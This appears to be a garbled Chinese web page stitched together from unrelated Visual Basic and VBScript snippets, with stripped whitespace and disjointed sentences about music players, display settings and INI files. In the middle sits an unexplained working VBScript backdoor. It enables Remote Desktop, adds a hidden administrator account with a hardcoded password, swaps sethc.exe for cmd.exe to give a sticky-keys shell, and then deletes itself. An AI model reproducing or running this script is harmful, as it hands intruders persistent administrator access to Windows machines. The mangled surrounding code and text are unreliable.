脚本错误缺少标识符呱呱
以下为笔者的音乐播放器的代码片段,就是这行代码使得双击和打开得以实现:PrivateSubForm_Load()DimdFAsStringdF=Command()WithMMControl1.FileName=dF.Command="Open".Command="Play"EndWithEndSub就那么简单

Set se=WSCript.CreateObject("Scripting.Encoder")For i=9 to 127tDecode(i)="JLA"NextFor i=9 to 127ChaineTemp=Mid(se.EncodeScriptFile(".vbs",string(3,i),0,""),13,3)For j=1 to 3c=Asc(Mid(ChaineTemp,j,1))tDecode(c)=Left(tDecode(c),j-1) & chr(i) & Mid(tDecode(c),j+1)NextNext'Next line we correct a bug, otherwise a ")" could be decoded to a ">"tDecode(42)=Left(tDecode(42),1) & ")" & Right(tDecode(42),1)Set se=Nothing
OptionExplicit
PublicDeclareFunctionChangeDisplaySettingsLib"user32.dll"Alias"ChangeDisplaySettingsA"
(ByReflpDevModeAsDEVMODE,ByValdwFlagsAsLong)AsLongPublicDeclareFunctionEnumDisplaySettingsLib"user32.dll"Alias"EnumDisplaySettingsA"(ByVal
lpszDeviceNameAsString,ByValiModeNumAsLong,ByReflpDevModeAsDEVMODE)AsLong
ConstDM_PELSHEIGHTAsLong=&H100000ConstDM_PELSWIDTHAsLong=&H80000ConstDM_BITSPERPELAsLong=&H40000ConstDM_DISPLAYFREQUENCYAsLong=&H400000
ConstCCHDEVICENAMEAsLong=32ConstCCHFORMNAMEAsLong=32ConstCDS_TEST=&H4
PrivateTypeDEVMODEdmDeviceNameAsString*CCHDEVICENAMEdmSpecVersionAsIntegerdmDriverVersionAsIntegerdmSizeAsIntegerdmDriverExtraAsIntegerdmFieldsAsLongdmOrientationAsIntegerdmPaperSizeAsIntegerdmPaperLengthAsIntegerdmPaperWidthAsIntegerdmScaleAsIntegerdmCopiesAsIntegerdmDefaultSourceAsIntegerdmPrintQualityAsIntegerdmColorAsIntegerdmDuplexAsIntegerdmYResolutionAsIntegerdmTTOptionAsIntegerdmCollateAsIntegerdmFormNameAsString*CCHFORMNAMEdmUnusedPaddingAsIntegerdmBitsPerPelAsIntegerdmPelsWidthAsLongdmPelsHeightAsLongdmDisplayFlagsAsLongdmDisplayFrequencyAsLongEndType
'-------------------------------------------------------------------------------------------'LngWidth//屏幕的宽(单位象素)'LngHeight//屏幕的高(单位象素)'IntColor//多少位颜色(e.g16or32)'LngFrequency//屏幕的刷新频率''声明:'调用该函数时要确定所设置的值在系统所允许的设置范围内,比如系统的最大刷新频率位80,而你'用把LngFrequency设位85,这样将带来无法预测的后果
Loop
你可能会非常惊奇:Friend类型过程的执行速度要明显快于Public类型
on error resume next const HKEY_LOCAL_MACHINE=&H80000002 strComputer="." Set StdOut=WScript.StdOut Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_ strComputer & "\root\default:StdRegProv") strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server" strValueName="fDenyTSConnections" dwValue=0 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue on error resume next dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath On Error Resume Next Dim obj, success Set obj=CreateObject("WScript.Shell") success=obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)实例1:开发应用程序通常要使用数据库和其它一些文件,这些文件的目录(包括路径和文件名)不应在程序中固定,而是保存在INI文件中,程序运行时由INI文件中读入
另外,产生病毒的同时,本程序也产生一个恢复文件,叫做"reset.vbs",万一您不慎运行了病毒,可以运行它解毒修改AE上显示名称这两种编程方式只有在构造一个大型的程序时才能看出来,对象化编程则占有很大优势,而结构化编程则容易把事情搞乱
Path
。